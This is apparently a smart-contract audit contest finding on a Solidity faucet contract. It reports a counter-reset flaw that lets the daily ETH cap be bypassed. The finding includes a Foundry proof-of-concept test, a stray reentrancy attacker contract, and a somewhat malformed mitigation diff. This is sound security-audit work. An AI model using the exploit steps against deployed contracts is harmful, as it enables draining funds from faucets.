Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
Submission Details
Impact: high
Likelihood: high

Unconditional Counter Reset Allows Bypassing the Daily ETH Drip Limit

Author Revealed upon completion

Root + Impact

Description

  • The contract contains a critical accounting flaw that allows the daily ETH distribution limit (dailySepEthCap) to be bypassed. The root cause is an unconditional reset of the dailyDrips counter within an else block in the claimFaucetTokens function.


  • Normally, the dailyDrips counter should only reset once per day. However, the current logic resets this counter to zero every time a user who has already claimed ETH (a non-first-timer) calls the function. An attacker can exploit this by alternating between a first-time claimer address and a repeat-claimer address to reset the counter after each successful drip, allowing them to drain the contract's entire ETH balance while ignoring the daily cap.

// Root cause in the codebase: The else block unconditionally resets the daily counter.
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
// Logic for first-time claimers to receive ETH
// ...
} else {
// @> This line incorrectly resets the daily ETH counter for every non-first-time claim.
dailyDrips = 0;
}
Any non-first-time claim resets the daily ETH counter, allowing subsequent first-time claimers to exceed the daily cap.

Risk

Likelihood:

  • The daily ETH cap bypass occurs upon a non-first-time user calling the claimFaucetTokens function, which resets the daily drip counter for all subsequent first-time claimers within the same day.

  • Occurs whenever a non-first-time claimer calls `claimFaucetTokens()` or when drips are paused Impact:

Impact:

  • Drain of Contract's ETH Balance: The primary safeguard (dailySepEthCap) against draining the faucet's ETH supply is rendered ineffective, allowing an attacker to drain the contract of all its ETH much faster than intended.

  • Failure of Core Economic Logic: The intended rate-limiting for ETH distribution is completely broken, undermining a core security and economic assumption of the faucet's design.

  • Exceeding daily ETH cap

  • Draining ETH treasury beyond intended limits


Proof of Concept

Explanation

The following attack scenario demonstrates how the daily ETH cap can be bypassed. This exploit requires two addresses, one for a first-time claim and one for a subsequent claim to reset the counter.

1.User A (first-time) claims, increments `dailyDrips` to 0.005 ETH
2. User B (not first-time) claims, executes `else { dailyDrips = 0; }`
3. User C (first-time) claims again within same day — cap check passes because counter was reset
4. Process repeats, allowing unlimited ETH distribution
function testDailyEthCapBypass() public {
// First-time claimer gets ETH
vm.prank(user1);
raiseBoxFaucet.claimFaucetTokens();
uint256 dailyDripsAfterFirst = raiseBoxFaucet.dailyDrips();
assertTrue(
dailyDripsAfterFirst > 0,
"First claim should increment dailyDrips"
);
// Non-first-time claimer resets dailyDrips
vm.warp(block.timestamp + 3 days); // Wait for cooldown
vm.prank(user1);
raiseBoxFaucet.claimFaucetTokens();
uint256 dailyDripsAfterSecond = raiseBoxFaucet.dailyDrips();
assertTrue(
dailyDripsAfterSecond == 0,
"Non-first-time claim should reset dailyDrips to 0"
);
// Another first-time claimer can now exceed the cap
vm.prank(user2);
raiseBoxFaucet.claimFaucetTokens();
uint256 dailyDripsAfterThird = raiseBoxFaucet.dailyDrips();
assertTrue(
dailyDripsAfterThird > 0,
"Third claim should work despite cap being reset"
);
}
}
// Attacker contract for reentrancy testing
contract Attacker {
RaiseBoxFaucet target;
bool reentered;
constructor(RaiseBoxFaucet _t) {
target = _t;
}
function attack() external {
target.claimFaucetTokens();
}
receive() external payable {
if (!reentered) {
reentered = true;
target.claimFaucetTokens(); // Reenter before state updates
}
}
}

Recommended Mitigation

Explanation

To remediate this vulnerability, the unconditional reset of the dailyDrips counter must be removed. The contract already contains the correct logic to reset the counter once per day. The else block containing the flawed reset is unnecessary and harmful.

By removing this else block, the dailyDrips counter will only be reset at the beginning of a new 24-hour period, correctly enforcing the dailySepEthCap as intended.

// Remove the else branch that resets dailyDrips
- } else {
- dailyDrips = 0;
- }
+uint256 currentDay = block.timestamp / 24 hours;
+if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.